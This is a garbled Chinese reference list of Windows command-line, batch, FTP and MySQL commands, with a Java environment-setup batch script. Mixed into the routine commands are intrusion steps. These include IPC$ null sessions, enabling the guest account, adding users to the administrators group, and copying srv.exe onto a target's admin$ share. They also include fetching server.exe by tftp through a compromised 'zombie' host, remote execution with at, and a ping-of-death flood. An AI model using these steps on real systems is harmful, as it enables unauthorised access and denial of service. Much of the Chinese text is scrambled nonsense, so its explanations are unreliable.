%OS% //为当前的操作系统。

Rem //注释一行文本。

Goto 标签 //改变执行顺序,去标签位置.

:标签 //定义一个签。

Set 变量称作=值 //定义变量

Not //取反

Netstat –na //显示当前给点用的捧口.

%0 %1 %2 //用于表示批判处理文件的参数0为令,共1-9只参数。

Shift //用于向前一个参数,原1变0,原2易1.各个调用同浅shift向前同走一各类。

Call //调用外批处理公事要指令。

Start 命令 参数 //指示出当其它一个窗口中开始运行命令。

=============================================================

::
这段批处理程序可以活动装Java环境变量

@echo off

IF EXIST %1\bin\java.exe (

rem 如输入正确的 Java2SDK 安装目录,开始安装环境变量

@setx JAVA_HOME %1

@setx path %path%;%JAVA_HOME%\bin

@setx classpath %classpath%;.

@setx classpath %classpath%;%JAVA_HOME%\lib\tools.jar

@setx classpath %classpath%;%JAVA_HOME%\lib\dt.jar

@setx classpath %classpath%;%JAVA_HOME%\jre\lib\rt.jar

@echo on

@echo Java 2 SDK 环境参数设置了,正常退出。

) ELSE (

IF “%1″==”” (

rem 如没提供安装目录,提示后退出

@echo on

@echo 没有提供 Java2SDK 的安装目录,不举行另外设置,现在离环境变量设置。

) ELSE (

rem 如果提供非空的安目录但从未bin\java.exe,则指定的目为不当的目录

@echo on

@echo 非法的 Java2SDK 的设置目录,不做任何设置,现在退出环境变量设置。

)

)

dos命令参考~~~

net use \\ip\ipc$ ” ” /user:” ” 建立IPC空链接

net use \\ip\ipc$ “密码” /user:”用户名” 建立IPC非空链接

net use h: \\ip\c$ “密码” /user:”用户名”
直接登陆后映射对方C:到地头为H:

net use h: \\ip\c$ 登陆后映射对方C:到本地为H:

net use \\ip\ipc$ /del 删除IPC链接

net use h: /del 删除映射对方到地方的为H:的照耀

net user 用户名 密码 /add 建立用户

net user guest /active:yes 激活guest用户

net user 查看有什么用户

net user 帐户名 查看帐户的性质

net localgroup administrators 用户名 /add
把“用户”添加到管理员中使该拥有管理员权限,注意:administrator后加s用复数

net start 查看被了怎么服务

net start 服务名  开启服务;(如:net start telnet, net start schedule)

net stop 服务名 停止某服务

net time \\对象ip 查看对方时刻

net time \\靶ip /set
设置本地电脑时间及“目标IP”主机的工夫一起,加上参数/yes可收回确认信息

net view 查看本地局域网外开了怎么共享

net view \\ip 查看对方局域网内被了什么共享

net config 显示系统网设置

net logoff 断开连接的共享

net pause 服务名 暂停某服务

net send ip “文本信息” 向对方发信息

net ver 局域网内正采取的网络连接类型以及信

net share 查看本地开启的共享

net share ipc$ 开启ipc$共享

net share ipc$ /del 删除ipc$共享

net share c$ /del 删除C:共享

net user guest 12345 用guest用户登陆后为此将密码改也12345

net password 密码 更改系统登陆密码

netstat -a 查看被了哪端口,常用netstat -an

netstat -n 查看端口的网络连接情况,常用netstat -an

netstat -v 查看方展开的行事

netstat -p 协议名 例:netstat -p tcq/ip
查看有商谈利用状况(查看tcp/ip协议下状态)

netstat -s 查看在下的装有协议利用状况

nbtstat -A ip
对方136至139里一个端口开了的话,就不过查看对方近来登陆的用户名(03前之啊用户称)-注意:参数-A要大写

tracert -参数 ip(或电脑名)
跟踪路由于(数据包),参数:“-w数字”用于安装过间隔。

ping ip(或域名)
向对方主机发送默认大小为32字节的数,参数:“-l[空格]数包大小”;“-n发送数据次数”;“-t”指直接ping。

ping -t -l 65550 ip
死亡之ping(发送大于K的文本并直接ping就成为了身故之ping)

ipconfig (winipcfg) 用于windows NT及XP(windows 95
98)查看本地ip地址,ipconfig可用参数“/all”显示整个安排信息

tlist -t
以树行列表显示进程(为系统的叠加工具,默认是从来不装的,在装目录的Support/tools文件夹内)

kill -F 进程名
加-F参数后劫持结束某过程(为系统的附加工具,默认是无设置之,在装目录的Support/tools文件夹内)

del -F 文件名
加-F参数后即使只是去除只读文件,/AR、/AH、/AS、/AA分别代表去只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A代表去除只读、隐藏、系统、存档以外的文书。例如“DEL/AR
*.*”表示去当前目录下有只念文件,“DEL/A-S
*.*”表示去当前目录下除系统文件以外的拥有文件

del /S /Q 目录 或因故:rmdir /s /Q 目录
/S删除目录和目录下的所有子目录及文书。同时使参数/Q
可取消删除操作时的网确认就直去。(二单命作用一样)

move 盘符\路径\要是运动的文书名 存放移动文件的路\倒后文件名
移动文件,用参数/y将收回确认移动目录在一样文件的唤醒就一直盖

fc one.txt two.txt > 3st.txt
对比二单文本并将不同之处输出及3st.txt文书被,”> “和”> >”
是重定向命令

at id号 开启曾报之之一计划任务

at /delete 停止所有计划任务,用参数/yes则免待承认就直接停

at id号 /delete 停止某个已登记之计划任务

at 查看有的计划任务

at \\ip time 程序名为(或一个命令) /r
在某时运作对方某次并再度开动电脑

finger username @host 查看最近发安用户登陆

telnet ip 端口 远以及登陆服务器,默认端口为23

open ip 连接至IP(属telnet登陆后的授命)

telnet 在本机上直接键入telnet 将入本机的telnet

copy 路径\文件名1 路径\文本称2 /y
复制文件1届指定的目也文件2,用参数/y就以收回确认你若转写一客存目录文件

copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下

cppy 1st.jpg/b+2st.txt/a 3st.jpg
将2st.txt的情节藏身到1st.jpg惨遭生成3st.jpg新的文本,注:2st.txt文书头而拖欠三除掉,参数:/b指二进制文件,/a指ASCLL格式文件

copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.*
复制对方admini$共享下的srv.exe文件(所有文件)至地面C:

xcopy 要复制的文书要目录树 目标地址\目录名
复制文件以及目录树,用参数/Y将不提醒覆盖相同文件

tftp -i 自己IP(用肉机作跳板时即所以肉机IP) get server.exe c:\server.exe
登陆后,将“IP”的server.exe下充斥至目标主机c:\server.exe
参数:-i指因为二进制模式传送,如传送exe文件时用,如无加-i
则因ASCII模式(传送文件文件模式)进行传递

tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机

ftp ip 端口
用于上传文件及服务器或开展文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)

route print 显示出IP路由,将着重展示网络地址Network
addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface

arp
查看和拍卖ARP缓存,ARP是名字解析的意,负责将一个IP解析成一个物理性的MAC地址。arp
-a将显得有全部信

start 程序名为或指令 /max 或/min
新开一个新窗口并最大化(最小化)运行有先后要指令

mem 查看cpu使用状况

attrib 文件称(目录名) 查看某文件(目录)的性质

attrib 文件名 -A -R -S -H 或 +A +R +S +H 去丢(添加)某文件之
存档,只读,系统,隐藏 属性;用+则是丰富为某属性

dir
查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次吃访时间,/T:W上次被涂改时

date /t 、 time /t
使用这参数就“DATE/T”、“TIME/T”将独自显示当前日期及岁月,而不必输入新日期和日

set 指定环境变量名称=要指派给变量的字符 设置环境变量

set 显示当前所有的环境变量

set p(或外字符) 显示出脚下坐字符p(或另字符)开头的有着环境变量

pause 暂停批处理程序,并显示出:请以任意键继续….

if 以批判处理程序中执行基准处理(更多证见if命令及变量)

goto 标签
将cmd.exe导向到批处理程序中带标签的履(标签须独立一尽,且因冒号打头,例如:“:start”标签)

call 路径\批处理公事名 从批处理程序中调用另一个批处理程序
(更多证见call /?)

for 对平组文件中之各一个文本实施某特定命令(更多证见for命令和变量)

echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置

echo 信息 在屏幕及显得有消息

echo 信息 >> pass.txt 将”信息”保存到pass.txt文件中

findstr “Hello” aa.txt 在aa.txt文件中搜索字符串hello

find 文件名 查找某文件

title 标题名字 更改CMD窗口标题名字

color 颜色值
设置cmd控制台前景及背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=葱白、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白

prompt 名称 更改cmd.exe的展示的命令提示符(把C:\、D:\联改呢:EntSky\
)

print 文件名 打印文本文件

2ver 在DOS窗口下显得版本信息

winver
弹出一个窗口展示版本信息(内存大小、系统版本、补丁版本、计算机名)

format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D:
/FS:NTFS

md 目录名 创建目录

replace 源文件 要替换文件之目录 替换文件

ren 原文件名 新文件名 重命名文件称

tree 因树形结构显示出目录,用参数-f 将列有第个文本夹着文件名称

type 文件名 显示文本文件的情

more 文件名 逐屏显示输出文件

doskey 要锁定的下令=字符

doskey 要解锁命令=
为DOS提供的锁定命令(编辑命令执行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey
dir=entsky (不能够为此doskey dir=dir);解锁:doskey dir=

taskmgr 调出任务管理器

chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上之错

tlntadmn
telnt服务admn,键入tlntadmn选择3,再择8,就好重改telnet服务默认端口23吧任何任何端口

exit 退出cmd.exe程序还是目前,用参数/B则是离时批处理脚本而未是cmd.exe

path 路径\可执行文件的公文名 为可执行文件设置一个路径。

cmd 启动一个win2K命令说窗口。参数:/eff、/en
关闭、开启命令扩展;更我详细说明见cmd /?

regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;

regedit /e 注册表文件称 导出注册表

cacls 文件名 参数
显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D
用户称:设定拒绝某用户访问;/P 用户称:perm 替换指定用户的访问权限;/G
用户称:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写副, C
更改(写入),F 完全控制;例:cacls D:\test.txt /D pub
设定d:\test.txt拒绝pub用户访问。

cacls 文件名 查看文件之顾用户权限列表

REM 文本内容 在批处理文件被补充加注

netsh 查看或改动本地网络配置情况

IIS服务令:

iisreset /reboot 重开win2k计算机(但产生提示系统以另行开信息出现)

iisreset /start或stop 启动(停止)所有Internet服务

iisreset /restart 停止然后再次起动所有Internet服务

iisreset /status 显示有Internet服务状态

iisreset /enable或disable 在本土系统上启用(禁用)Internet服务之又开动

iisreset /rebootonerror
当启动、停止或另行启航Internet服务时,若发生错误将再开机

iisreset /noforce 若无法住Internet服务,将不见面强制停止Internet服务

iisreset /timeout
Val在到逾时间(秒)时,仍不歇Internet服务,若指定/rebootonerror参数,则电脑将会又开机。预设值为再次开动20秒,停止60秒,重新开机0秒。

FTP 命令:
(后面来详尽说明内容)

ftp的下令行格式为:

ftp -v -d -i -n -g[主机名] -v 显示远程服务器的有响应信息。

-d 使用调试方式。

-n 限制ftp的活动登录,即非使用.netrc文件。

-g 取消全局文件称。

help [命令] 或 /?[命令] 查看命令说明

bye 或 quit 终止主机FTP进程,并退出FTP管理方式.

pwd 列出脚下远端主机目录

put 或 send 本地文件名 [上传到主机及之文书称]
将地方一个文书传送至远端主机中

get 或 recv [远程主机文件称] [下载至地面后的文本称]
从远端主机中传送到本土主机中

mget [remote-files] 从远端主机接收一批判文件及地方主机

mput local-files 将地面主机中相同批判文件传送到远端主机

dir 或 ls [remote-directory] [local-file]
列出脚下远端主机目录中之文件.如果起当地文件,就以结果写到本土文件

ascii 设定为ASCII方式传递文件(缺省值)

bin 或 image 设定为二进制方式传送文件

bell 每成功同样坏文件传送,报警提示

cdup 返回上一级目录

close 中断和远程服务器的ftp会话(与open对应)

open host[port] 建立指定ftp服务器连接,可指定连接端口

delete 删除远端主机中的文本

mdelete [remote-files] 删除一批文件

mkdir directory-name 于远端主机中建立目录

rename [from] [to] 改变远端主机中的文本称

rmdir directory-name 删除远端主机中之目录

status 显示当前FTP的状态

system 显示远端主机系统项目

user user-name [password] [account] 重新以别的用户名登录远端主机

open host [port] 重新树立一个新的连天

prompt 交互提示模式

macdef 定义宏命令

lcd 改变目前本土主机的干活目录,如果缺失省,就转到目前用户之HOME目录

chmod 改变远端主机的文书权限

case 当也ON时,用MGET命令拷贝的文件称及本地机械中,全部转换为小写字母

cd remote-dir 进入远程主机目录

cdup 进入远程主机目录的父目录

! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip

MYSQL 命令:

mysql -h主机地址 -u用户名 -p密码
连接MYSQL;如果恰巧安装好MYSQL,超级用户root是尚未密码的。

(例:mysql -h110.110.110.110 -Uroot -P123456

注:u与root可以不要加空格,其它为同)

exit 退出MYSQL

mysqladmin -u用户名 -p旧密码 password 新密码 修改密码

grant select on 数据库.* to 用户名@登录主机 identified by \”密码\”;
增加新用户。(注意:和上面不同,下面的坐是MYSQL环境遭到之一声令下,所以后面还牵动一个分店作为命令结束符)

show databases;
显示数据库列表。刚起经常才两只数据库:mysql和test。mysql库很关键它其中有MYSQL的体系信息,我们转移密码以及新增用户,实际上就用此库房开展操作。

use mysql;

show tables; 显示库中的数据表

describe 表名; 显示数据表的布局

create database 库名; 建库

use 库名;

create table 表名 (字段设定列表); 建表

drop database 库名;

drop table 表名; 删库和删表

delete from 表名; 将表中记录清空

select * from 表名; 显示表中的记录

mysqldump –opt school>school.bbb
备份数据库:(命令于DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文件文件,文件名任取,打开看看你晤面来新意识。

win2003系统下新增加命令(实用部份):

shutdown /参数 关闭或者更开本地或远程主机。

参数说明:/S 关闭主机,/R 重开主机, /T 数字
设定延时之日子,范围0~180秒中, /A取消开机,/M //IP 指定的长途主机。

条例:shutdown /r /t 0 立即又开本地主机(无延时)

taskill /参数 进程名或进程的pid 终止一个或多独任务及经过。

参数说明:/PID 要停下进程的pid,可用tasklist命令获得各进程的pid,/IM
要停之经过的经过名,/F 强制停止进程,/T
终止指定的长河与外所启动的子进程。

tasklist
显示当前运行于当地同长途主机及之历程、服务、服务各进程的长河标识符(PID)。

参数说明:/M 列出当前进程加载的dll文件,/SVC
显示有每个过程对应之服务,无参数时即光排有目前底过程。

相关文章